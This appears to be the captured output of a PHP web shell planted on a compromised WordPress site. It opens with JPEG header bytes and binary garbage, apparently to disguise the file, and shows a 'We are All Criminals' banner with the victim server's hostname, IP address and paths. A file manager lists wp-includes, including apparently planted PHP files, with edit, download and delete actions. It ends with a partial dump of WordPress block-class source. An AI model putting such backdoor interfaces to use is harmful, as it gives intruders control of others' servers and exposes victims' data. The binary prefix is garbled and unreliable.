JFIF ÿØÿà JFIF  H H ÿí 6Photoshop 3.0 8BIM g fDv40PON15YC57AbScWj ÿÛ C    $$$$$$$$$,,,,,,333339999999999ÿÛ C <)!)<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ÿ ÀÀ" ÿÄ   ÿÄ  ÿÚ   i®~€4 R ¡*MòwM¾óùÿ ºß?‹äûG_êýNqæóz[šGg&7ύÛ¸Ò0C61lE*M1 2]$–Ø•¶Äæ•&†*HT2SJАm $d"hM°¦˜ 0 š4Å ¬r­4KJ&Ö[c(¢Èa Òj“F *¤ Š,¢hLM‰¦¾wßüGN³ö¾™ãë?c?-Ò¹kÁ2×&±.T–oÐiËÓ`č0"“)T°L!‰–ŠIL¤Ó‰ TÄ À„Ð*Mb¹a,b›A4Èm ’74¤ÚD¨„®DÆ*š@@ (¦Ð4²êRX€r£L*hh,C[€Lh Å5(˜ƒªBˆLi¡´!çz~e{?³æjrUW3¢a²÷cçy´Ììö~sß“ESH¤!€Æ€†ŒcHš`,¢4 CT†˜  `‰ªY±Ù DChSjvJb¡² 6$ܲÀh1¡-¨€ª%Z$b¦…¤¹j¤C dr¸ªBaM ‚˜±Ø£¯ç;¹¾ƒ¥~b½Ì»Â ªeŸgÇí³×b1LTС+0šE%AIÙ‰e´"’!„¶É¤Éw ÒN„ÅZ„ †„6@ÐÕ„'D°¶f´K™a%32”&¥B`©Q` cŠ€hY/:µIµ!CYc 44žsêókëy=ŽgÇ×dÊâ©1¹¡×“¨æ‘°…`JS¨t$ÍÌ0ªNYRÕQ,hd¶‰¤Àj8”©…T”¢J mÀ–ÐÓB‰R&´˜Ah†Ù ¡*!*B  &óLC -HטjÆÜÃ&¦4ÐÀ!‰€2|k‚ÏsƒÉƯ+±h¢/Nj©Ë|c»ØùÏ¢ªL’FMJ@®ATÐÊ›¦†Ô r:—@2i ÓRRh4 ‹ˆOÏ_cŸ”öŽ/±~}%üË>›Îòó=ç¨õû¾r¨¯Ø­´àÐìYt›f‘T‡7"N–&Ñ) (!’Z&É ¤Hņ\¼Š•Ë(˜&‚i‚lš)±b~Ëã—+™¦®.Âh¦ jJ• .!°¦lÀC•ÍŠ³ñÎÏžS BDKR28 - $H3LL
— We are All Criminals —
Linux mail2.itdevelopment.ro 4.18.0-553.76.1.el8_10.x86_64 #1 SMP Tue Sep 23 05:21:08 EDT 2025 x86_64
  INFO SERVER : Apache PHP : 8.3.25
/home/notariatiosep/public_html/public.html2/wp-includes/ | HOME
188.247.240.81

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
ID3 dir drwxr-xr-x 2024-04-03 09:01 R D
IXR dir drwxr-xr-x 2023-12-20 14:50 R D
PHPMailer dir drwxr-xr-x 2023-12-20 14:50 R D
Requests dir drwxr-xr-x 2023-12-20 14:50 R D
SimplePie dir drwxr-xr-x 2024-11-13 23:23 R D
Text dir drwxr-xr-x 2024-11-13 23:23 R D
assets dir drwxr-xr-x 2024-11-13 23:23 R D
block-bindings dir drwxr-xr-x 2024-04-03 09:01 R D
block-patterns dir drwxr-xr-x 2023-12-20 14:50 R D
block-supports dir drwxr-xr-x 2025-04-16 03:44 R D
blocks dir drwxr-xr-x 2025-04-16 03:44 R D
certificates dir drwxr-xr-x 2023-12-20 14:50 R D
css dir drwxr-xr-x 2025-04-16 03:44 R D
customize dir drwxr-xr-x 2023-12-20 14:50 R D
fonts dir drwxr-xr-x 2024-04-03 09:01 R D
html-api dir drwxr-xr-x 2025-10-20 08:25 R D
images dir drwxr-xr-x 2023-12-20 14:50 R D
interactivity-api dir drwxr-xr-x 2024-04-03 09:01 R D
js dir drwxr-xr-x 2025-10-20 03:33 R D
l10n dir drwxr-xr-x 2024-04-03 09:01 R D
php-compat dir drwxr-xr-x 2023-12-20 14:50 R D
pomo dir drwxr-xr-x 2023-12-20 14:50 R D
rest-api dir drwxr-xr-x 2023-12-20 14:50 R D
sitemaps dir drwxr-xr-x 2023-12-20 14:50 R D
sodium_compat dir drwxr-xr-x 2023-12-20 14:50 R D
style-engine dir drwxr-xr-x 2023-12-20 14:50 R D
theme-compat dir drwxr-xr-x 2023-12-20 14:50 R D
widgets dir drwxr-xr-x 2023-12-20 14:50 R D
8zcezb0c.php 1.159 KB -rw-r--r-- 2025-10-20 07:15 R E G D
BDKR.txt 0.051 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_ejk3v9jf.php 23.183 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_stg4quzr.php 23.183 KB -rw-r--r-- 2025-10-20 07:15 R E G D
admin-bar.php 36.236 KB -rw-r--r-- 2025-05-01 03:43 R E G D
atomlib.php 11.795 KB -rw-r--r-- 2024-11-13 23:23 R E G D
block-bindings.php 5.463 KB -rw-r--r-- 2024-07-17 02:53 R E G D
block-editor.php 28.122 KB -rw-r--r-- 2025-04-16 03:44 R E G D
block-i18n.json 0.309 KB -rw-r--r-- 2021-08-11 11:38 R E G D
block-patterns.php 12.903 KB -rw-r--r-- 2025-04-16 03:44 R E G D
block-template-utils.php 60.456 KB -rw-r--r-- 2025-04-16 03:44 R E G D
block-template.php 14.996 KB -rw-r--r-- 2025-04-16 03:44 R E G D
blocks.php 110.401 KB -rw-r--r-- 2025-07-16 03:43 R E G D
bookmark-template.php 12.469 KB -rw-r--r-- 2025-04-16 03:44 R E G D
bookmark.php 15.065 KB -rw-r--r-- 2024-07-17 02:53 R E G D
cache-compat.php 5.829 KB -rw-r--r-- 2022-10-10 20:52 R E G D
cache.php 13.158 KB -rw-r--r-- 2022-10-10 20:52 R E G D
canonical.php 33.714 KB -rw-r--r-- 2024-11-13 23:23 R E G D
capabilities.php 41.717 KB -rw-r--r-- 2024-11-13 23:23 R E G D
category-template.php 55.667 KB -rw-r--r-- 2023-09-26 02:57 R E G D
category.php 12.528 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-IXR.php 2.555 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-avif-info.php 28.921 KB -rw-r--r-- 2024-05-08 02:55 R E G D
class-feed.php 0.526 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-http.php 0.358 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-json.php 42.66 KB -rw-r--r-- 2023-02-03 17:05 R E G D
class-oembed.php 0.392 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-phpass.php 6.612 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-phpmailer.php 0.648 KB -rw-r--r-- 2020-07-21 15:28 R E G D
class-pop3.php 20.626 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-requests.php 2.185 KB -rw-r--r-- 2023-04-05 15:42 R E G D
class-simplepie.php 0.442 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-smtp.php 0.446 KB -rw-r--r-- 2021-01-26 17:15 R E G D
class-snoopy.php 36.831 KB -rw-r--r-- 2023-02-03 17:05 R E G D
class-walker-category.php 8.278 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-walker-comment.php 13.888 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-walker-nav-menu.php 11.762 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-walker-page.php 7.434 KB -rw-r--r-- 2023-09-14 15:16 R E G D
class-wp-admin-bar.php 17.455 KB -rw-r--r-- 2024-07-24 02:51 R E G D
class-wp-ajax-response.php 5.143 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-bindings-registry.php 8.265 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-editor-context.php 1.318 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-metadata-registry.php 11.616 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-parser-frame.php 1.97 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-parser.php 11.262 KB -rw-r--r-- 2023-10-16 21:47 R E G D
class-wp-block-pattern-categories-registry.php 5.245 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-patterns-registry.php 10.53 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-styles-registry.php 6.253 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-supports.php 5.494 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-template.php 1.985 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-type-registry.php 4.896 KB -rw-r--r-- 2023-10-12 15:04 R E G D
class-wp-block-type.php 16.86 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-block.php 22.501 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-comment-query.php 47.261 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-comment.php 9.216 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-manager.php 197.845 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-panel.php 10.459 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-section.php 10.946 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-customize-widgets.php 70.518 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-date-query.php 34.895 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-duotone.php 39.827 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-embed.php 15.558 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-error.php 7.326 KB -rw-r--r-- 2023-02-21 20:09 R E G D
class-wp-exception.php 0.247 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-fatal-error-handler.php 7.959 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-feed-cache.php 0.946 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-http-curl.php 12.247 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http-proxy.php 5.84 KB -rw-r--r-- 2023-06-22 17:06 R E G D
class-wp-http-requests-hooks.php 1.975 KB -rw-r--r-- 2022-12-16 01:02 R E G D
class-wp-http-requests-response.php 4.297 KB -rw-r--r-- 2023-10-11 09:35 R E G D
class-wp-http-response.php 2.907 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-http-streams.php 16.464 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http.php 40.604 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-gd.php 19.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-imagick.php 33.921 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor.php 17.116 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-list-util.php 7.269 KB -rw-r--r-- 2023-09-09 11:58 R E G D
class-wp-meta-query.php 29.815 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-metadata-lazyloader.php 6.673 KB -rw-r--r-- 2023-05-11 13:45 R E G D
class-wp-navigation-fallback.php 8.995 KB -rw-r--r-- 2023-10-06 16:36 R E G D
class-wp-object-cache.php 17.113 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-oembed-controller.php 6.743 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-oembed.php 30.865 KB -rw-r--r-- 2025-07-16 03:43 R E G D
class-wp-paused-extensions-storage.php 4.991 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-phpmailer.php 3.713 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-plugin-dependencies.php 24.722 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-query.php 154.319 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-recovery-mode-cookie-service.php 6.716 KB -rw-r--r-- 2022-10-04 06:29 R E G D
class-wp-recovery-mode-email-service.php 10.921 KB -rw-r--r-- 2023-05-02 18:15 R E G D
class-wp-recovery-mode-link-service.php 3.382 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-rewrite.php 62.195 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-role.php 2.464 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-wp-script-modules.php 19.007 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-session-tokens.php 7.147 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-site.php 7.279 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-speculation-rules.php 7.351 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-styles.php 10.752 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-tax-query.php 19.097 KB -rw-r--r-- 2024-04-03 09:01 R E G D
class-wp-taxonomy.php 18.124 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-term-query.php 39.911 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-term.php 5.174 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-text-diff-renderer-table.php 18.438 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-textdomain-registry.php 10.235 KB -rw-r--r-- 2024-11-21 16:15 R E G D
class-wp-theme-json-data.php 1.767 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json-schema.php 7.194 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json.php 159.712 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-token-map.php 27.947 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-url-pattern-prefixer.php 4.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user-query.php 42.632 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user-request.php 2.251 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user.php 22.455 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-walker.php 13.01 KB -rw-r--r-- 2024-09-11 02:55 R E G D
class-wp-widget-factory.php 3.269 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-widget.php 17.997 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-xmlrpc-server.php 210.395 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp.php 28.639 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wpdb.php 115.512 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class.wp-styles.php 0.33 KB -rw-r--r-- 2022-09-20 16:47 R E G D
comment-template.php 100.688 KB -rw-r--r-- 2025-07-16 03:43 R E G D
comment.php 128.464 KB -rw-r--r-- 2025-04-16 03:44 R E G D
compat.php 15.992 KB -rw-r--r-- 2025-04-16 03:44 R E G D
cron.php 41.658 KB -rw-r--r-- 2025-04-16 03:44 R E G D
date.php 0.391 KB -rw-r--r-- 2022-06-17 13:50 R E G D
default-constants.php 11.099 KB -rw-r--r-- 2024-11-13 23:23 R E G D
default-filters.php 35.837 KB -rw-r--r-- 2025-04-16 03:44 R E G D
default-widgets.php 2.241 KB -rw-r--r-- 2025-04-16 03:44 R E G D
deprecated.php 187.073 KB -rw-r--r-- 2025-04-16 03:44 R E G D
embed-template.php 0.33 KB -rw-r--r-- 2022-06-17 13:50 R E G D
embed.php 37.277 KB -rw-r--r-- 2025-04-16 03:44 R E G D
error-protection.php 4.024 KB -rw-r--r-- 2023-05-02 18:15 R E G D
feed-atom-comments.php 5.375 KB -rw-r--r-- 2024-04-03 09:01 R E G D
feed-atom.php 3.048 KB -rw-r--r-- 2025-04-16 03:44 R E G D
feed-rdf.php 2.605 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss.php 1.161 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss2.php 3.71 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed.php 22.862 KB -rw-r--r-- 2024-11-13 23:23 R E G D
fonts.php 9.522 KB -rw-r--r-- 2024-11-13 23:23 R E G D
formatting.php 334.884 KB -rw-r--r-- 2025-07-16 03:43 R E G D
functions.php 283.744 KB -rw-r--r-- 2025-04-16 03:44 R E G D
functions.wp-styles.php 8.382 KB -rw-r--r-- 2024-07-17 02:53 R E G D
general-template.php 168.455 KB -rw-r--r-- 2025-04-16 03:44 R E G D
github_manz.php 2.289 KB -rw-r--r-- 2025-10-20 08:25 R E G D
global-styles-and-settings.php 20.763 KB -rw-r--r-- 2025-04-16 03:44 R E G D
http.php 24.719 KB -rw-r--r-- 2024-11-13 23:23 R E G D
https-detection.php 5.72 KB -rw-r--r-- 2025-04-16 03:44 R E G D
https-migration.php 4.63 KB -rw-r--r-- 2023-07-11 01:08 R E G D
kses.php 72.727 KB -rw-r--r-- 2025-04-16 03:44 R E G D
l10n.php 66.924 KB -rw-r--r-- 2025-04-16 03:44 R E G D
link-template.php 154.103 KB -rw-r--r-- 2025-04-16 03:44 R E G D
llex.php 78.586 KB -rw-r--r-- 2025-10-20 03:33 R E G D
load.php 55.117 KB -rw-r--r-- 2025-04-16 03:44 R E G D
locale.php 0.158 KB -rw-r--r-- 2019-10-08 19:49 R E G D
media-template.php 61.582 KB -rw-r--r-- 2025-04-16 03:44 R E G D
media.php 215.328 KB -rw-r--r-- 2025-07-16 03:43 R E G D
meta.php 63.714 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-blogs.php 25.239 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-default-constants.php 4.806 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-default-filters.php 6.48 KB -rw-r--r-- 2023-02-24 04:53 R E G D
ms-deprecated.php 21.249 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-files.php 2.68 KB -rw-r--r-- 2025-05-01 03:43 R E G D
ms-functions.php 89.436 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-load.php 19.417 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-network.php 3.693 KB -rw-r--r-- 2023-05-02 13:56 R E G D
ms-settings.php 4.099 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-site.php 40.352 KB -rw-r--r-- 2025-04-16 03:44 R E G D
nav-menu-template.php 25.381 KB -rw-r--r-- 2025-04-16 03:44 R E G D
nav-menu.php 43.333 KB -rw-r--r-- 2024-11-13 23:23 R E G D
option.php 100.649 KB -rw-r--r-- 2025-04-16 03:44 R E G D
pluggable-deprecated.php 6.176 KB -rw-r--r-- 2025-04-16 03:44 R E G D
pluggable.php 119.824 KB -rw-r--r-- 2025-04-16 03:44 R E G D
plugin.php 34.634 KB -rw-r--r-- 2023-06-08 10:24 R E G D
post-formats.php 6.936 KB -rw-r--r-- 2024-07-17 02:53 R E G D
post-template.php 67.039 KB -rw-r--r-- 2025-04-16 03:44 R E G D
post.php 284.875 KB -rw-r--r-- 2025-04-16 03:44 R E G D
query.php 36.167 KB -rw-r--r-- 2023-08-24 11:31 R E G D
registration-functions.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
registration.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
rest-api.php 97.907 KB -rw-r--r-- 2025-04-16 03:44 R E G D
revision.php 30.021 KB -rw-r--r-- 2025-04-16 03:44 R E G D
rewrite.php 19.083 KB -rw-r--r-- 2024-11-13 23:23 R E G D
robots-template.php 5.063 KB -rw-r--r-- 2022-04-06 18:03 R E G D
rss-functions.php 0.249 KB -rw-r--r-- 2020-11-17 02:22 R E G D
rss.php 22.571 KB -rw-r--r-- 2024-11-13 23:23 R E G D
script-loader.php 130.139 KB -rw-r--r-- 2025-05-01 03:43 R E G D
session.php 0.252 KB -rw-r--r-- 2020-02-06 10:03 R E G D
shortcodes.php 23.487 KB -rw-r--r-- 2024-07-17 02:53 R E G D
sitemaps.php 3.162 KB -rw-r--r-- 2021-05-15 20:08 R E G D
speculative-loading.php 8.357 KB -rw-r--r-- 2025-04-16 03:44 R E G D
spl-autoload-compat.php 0.431 KB -rw-r--r-- 2020-11-12 14:47 R E G D
style-engine.php 7.386 KB -rw-r--r-- 2024-07-17 02:53 R E G D
taxonomy.php 172.097 KB -rw-r--r-- 2025-04-16 03:44 R E G D
template-canvas.php 0.531 KB -rw-r--r-- 2023-10-01 02:52 R E G D
template-loader.php 5.894 KB -rw-r--r-- 2020-05-26 12:07 R E G D
template.php 23.588 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme-i18n.json 1.49 KB -rw-r--r-- 2025-04-16 03:44 R E G D
theme-previews.php 2.766 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme-templates.php 6.092 KB -rw-r--r-- 2025-04-16 03:44 R E G D
theme.json 8.5 KB -rw-r--r-- 2024-07-17 02:53 R E G D
theme.php 131.155 KB -rw-r--r-- 2025-04-16 03:44 R E G D
to90at2y.php 1.159 KB -rw-r--r-- 2025-10-20 09:47 R E G D
update.php 36.624 KB -rw-r--r-- 2025-04-16 03:44 R E G D
user.php 171.702 KB -rw-r--r-- 2025-04-16 03:44 R E G D
vars.php 6.408 KB -rw-r--r-- 2025-04-16 03:44 R E G D
version.php 1.064 KB -rw-r--r-- 2025-10-01 03:44 R E G D
widgets.php 69.062 KB -rw-r--r-- 2025-04-16 03:44 R E G D
wp-db.php 0.435 KB -rw-r--r-- 2022-07-22 01:15 R E G D
wp-diff.php 0.78 KB -rw-r--r-- 2025-04-16 03:44 R E G D
REQUEST EXIT
testing..." -> "Just testing..." * * @since 5.5.0 * @var string */ public $inner_html = ''; /** * List of string fragments and null markers where inner blocks were found * * @example array( * 'inner_html' => 'BeforeInnerAfter', * 'inner_blocks' => array( block, block ), * 'inner_content' => array( 'Before', null, 'Inner', null, 'After' ), * ) * * @since 5.5.0 * @var array */ public $inner_content = array(); /** * Constructor. * * Populates object properties from the provided block instance argument. * * The given array of context values will not necessarily be available on * the instance itself, but is treated as the full set of values provided by * the block's ancestry. This is assigned to the private `available_context` * property. Only values which are configured to consumed by the block via * its registered type will be assigned to the block's `context` property. * * @since 5.5.0 * * @param array $block { * An associative array of a single parsed block object. See WP_Block_Parser_Block. * * @type string $blockName Name of block. * @type array $attrs Attributes from block comment delimiters. * @type array $innerBlocks List of inner blocks. An array of arrays that * have the same structure as this one. * @type string $innerHTML HTML from inside block comment delimiters. * @type array $innerContent List of string fragments and null markers where inner blocks were found. * } * @param array $available_context Optional array of ancestry context values. * @param WP_Block_Type_Registry $registry Optional block type registry. */ public function __construct( $block, $available_context = array(), $registry = null ) { $this->parsed_block = $block; $this->name = $block['blockName']; if ( is_null( $registry ) ) { $registry = WP_Block_Type_Registry::get_instance(); } $this->registry = $registry; $this->block_type = $registry->get_registered( $this->name ); $this->available_context = $available_context; $this->refresh_context_dependents(); } /** * Updates the context for the current block and its inner blocks. * * The method updates the context of inner blocks, if any, by passing down * any context values the block provides (`provides_context`). * * If the block has inner blocks, the method recursively processes them by creating new instances of `WP_Block` * for each inner block and updating their context based on the block's `provides_context` property. * * @since 6.8.0 */ public function refresh_context_dependents() { /* * Merging the `$context` property here is not ideal, but for now needs to happen because of backward compatibility. * Ideally, the `$context` property itself would not be filterable directly and only the `$available_context` would be filterable. * However, this needs to be separately explored whether it's possible without breakage. */ $this->available_context = array_merge( $this->available_context, $this->context ); if ( ! empty( $this->block_type->uses_context ) ) { foreach ( $this->block_type->uses_context as $context_name ) { if ( array_key_exists( $context_name, $this->available_context ) ) { $this->context[ $context_name ] = $this->available_context[ $context_name ]; } } } $this->refresh_parsed_block_dependents(); } /** * Updates the parsed block content for the current block and its inner blocks. * * This method sets the `inner_html` and `inner_content` properties of the block based on the parsed * block content provided during initialization. It ensures that the block instance reflects the * most up-to-date content for both the inner HTML and any string fragments around inner blocks. * * If the block has inner blocks, this method initializes a new `WP_Block_List` for them, ensuring the * correct content and context are updated for each nested block. * * @since 6.8.0 */ public function refresh_parsed_block_dependents() { if ( ! empty( $this->parsed_block['innerBlocks'] ) ) { $child_context = $this->available_context; if ( ! empty( $this->block_type->provides_context ) ) { foreach ( $this->block_type->provides_context as $context_name => $attribute_name ) { if ( array_key_exists( $attribute_name, $this->attributes ) ) { $child_context[ $context_name ] = $this->attributes[ $attribute_name ]; } } } $this->inner_blocks = new WP_Block_List( $this->parsed_block['innerBlocks'], $child_context, $this->registry ); } if ( ! empty( $this->parsed_block['innerHTML'] ) ) { $this->inner_html = $this->parsed_block['innerHTML']; } if ( ! empty( $this->parsed_block['innerContent'] ) ) { $this->inner_content = $this->parsed_block['innerContent']; } } /** * Returns a value from an inaccessible property. * * This is used to lazily initialize the `attributes` property of a block, * such that it is only prepared with default attributes at the time that * the property is accessed. For all other inaccessible properties, a `null` * value is returned. * * @since 5.5.0 * * @param string $name Property name. * @return array|null Prepared attributes, or null. */ public function __get( $name ) { if ( 'attributes' === $name ) { $this->attributes = isset( $this->parsed_block['attrs'] ) ? $this->parsed_block['attrs'] : array(); if ( ! is_null( $this->block_type ) ) { $this->attributes = $this->block_type->prepare_attributes_for_render( $this->attributes ); } return $this->attributes; } return null; } /** * Processes the block bindings and updates the block attributes with the values from the sources. * * A block might contain bindings in its attributes. Bindings are mappings * between an attribute of the block and a source. A "source" is a function * registered with `register_block_bindings_source()` that defines how to * retrieve a value from outside the block, e.g. from post meta. * * This function will process those bindings and update the block's attributes * with the values coming from the bindings. * * ### Example * * The "bindings" property for an Image block might look like this: * * ```json * { * "metadata": { * "bindings": { * "title": { * "source": "core/post-meta", * "args": { "key": "text_custom_field" } * }, * "url": { * "source": "core/post-meta", * "args": { "key": "url_custom_field" } * } * } * } * } * ``` * * The above example will replace the `title` and `url` attributes of the Image * block with the values of the `text_custom_field` and `url_custom_field` post meta. * * @since 6.5.0 * @since 6.6.0 Handle the `__default` attribute for pattern overrides. * @since 6.7.0 Return any updated bindings metadata in the computed attributes. * * @return array The computed block attributes for the provided block bindings. */ private function process_block_bindings() { $parsed_block = $this->parsed_block; $computed_attributes = array(); $supported_block_attributes = array( 'core/paragraph' => array( 'content' ), 'core/heading' => array( 'content' ), 'core/image' => array( 'id', 'url', 'title', 'alt' ), 'core/button' => array( 'url', 'text', 'linkTarget', 'rel' ), ); // If the block doesn't have the bindings property, isn't one of the supported // block types, or the bindings property is not an array, return the block content. if ( ! isset( $supported_block_attributes[ $this->name ] ) || empty( $parsed_block['attrs']['metadata']['bindings'] ) || ! is_array( $parsed_block['attrs']['metadata']['bindings'] ) ) { return $computed_attributes; } $bindings = $parsed_block['attrs']['metadata']['bindings']; /* * If the default binding is set for pattern overrides, replace it * with a pattern override binding for all supported attributes. */ if ( isset( $bindings['__default']['source'] ) && 'core/pattern-overrides' === $bindings['__default']['source'] ) { $updated_bindings = array(); /* * Build a binding array of all supported attributes. * Note that this also omits the `__default` attribute from the * resulting array. */ foreach ( $supported_block_attributes[ $parsed_block['blockName'] ] as $attribute_name ) { // Retain any non-pattern override bindings that might be present. $updated_bindings[ $attribute_name ] = isset( $bindings[ $attribute_name ] ) ? $bindings[ $attribute_name ] : array( 'source' => 'core/pattern-overrides' ); } $bindings = $updated_bindings; /* * Update the bindings metadata of the computed attributes. * This ensures the block receives the expanded __default binding metadata when it renders. */ $computed_attributes['metadata'] = array_merge( $parsed_block['attrs']['metadata'], array( 'bindings' => $bindings ) ); } foreach ( $bindings as $attribute_name => $block_binding ) { // If the attribute is not in the supported list, process next attribute. if ( ! in_array( $attribute_name, $supported_block_attributes[ $this->name ], true ) ) { continue; } // If no source is provided, or that source is not registered, process next attribute. if ( ! isset( $block_binding['source'] ) || ! is_string( $block_binding['source'] ) ) { continue; } $block_binding_source = get_block_bindings_source( $block_binding['source'] ); if ( null === $block_binding_source ) { continue; } // Adds the necessary context defined by the source. if ( ! empty( $block_binding_source->uses_context ) ) { foreach ( $block_binding_source->uses_context as $context_name ) { if ( array_key_exists( $context_name, $this->available_context ) ) { $this->context[ $context_name ] = $this->available_context[ $context_name ]; } } } $source_args = ! empty( $block_binding['args'] ) && is_array( $block_binding['args'] ) ? $block_binding['args'] : array(); $source_value = $block_binding_source->get_value( $source_args, $this, $attribute_name ); // If the value is not null, process the HTML based on the block and the attribute. if ( ! is_null( $source_value ) ) { $computed_attributes[ $attribute_name ] = $source_value; } } return $computed_attributes; } /** * Depending on the block attribute name, replace its value in the HTML based on the value provided. * * @since 6.5.0 * * @param string $block_content Block content. * @param string $attribute_name The attribute name to replace. * @param mixed $source_value The value used to replace in the HTML. * @return string The modified block content. */ private function replace_html( string $block_content, string $attribute_name, $source_value ) { $block_type = $this->block_type; if ( ! isset( $block_type->attributes[ $attribute_name ]['source'] ) ) { return $block_content; } // Depending on the attribute source, the processing will be different. switch ( $block_type->attributes[ $attribute_name ]['source'] ) { case 'html': case 'rich-text': $block_reader = new WP_HTML_Tag_Processor( $block_content ); // TODO: Support for CSS selectors whenever they are ready in the HTML API. // In the meantime, support comma-separated selectors by exploding them into an array. $selectors = explode( ',', $block_type->attributes[ $attribute_name ]['selector'] ); // Add a bookmark to the first tag to be able to iterate over the selectors. $block_reader->next_tag(); $block_reader->set_bookmark( 'iterate-selectors' ); // TODO: This shouldn't be needed when the `set_inner_html` function is ready. // Store the parent tag and its attributes to be able to restore them later in the button. // The button block has a wrapper while the paragraph and heading blocks don't. if ( 'core/button' === $this->name ) { $button_wrapper = $block_reader->get_tag(); $button_wrapper_attribute_names = $block_reader->get_attribute_names_with_prefix( '' ); $button_wrapper_attrs = array(); foreach ( $button_wrapper_attribute_names as $name ) { $button_wrapper_attrs[ $name ] = $block_reader->get_attribute( $name ); } } foreach ( $selectors as $selector ) { // If the parent tag, or any of its children, matches the selector, replace the HTML. if ( strcasecmp( $block_reader->get_tag(), $selector ) === 0 || $block_reader->next_tag( array( 'tag_name' => $selector, ) ) ) { $block_reader->release_bookmark( 'iterate-selectors' ); // TODO: Use `set_inner_html` method whenever it's ready in the HTML API. // Until then, it is hardcoded for the 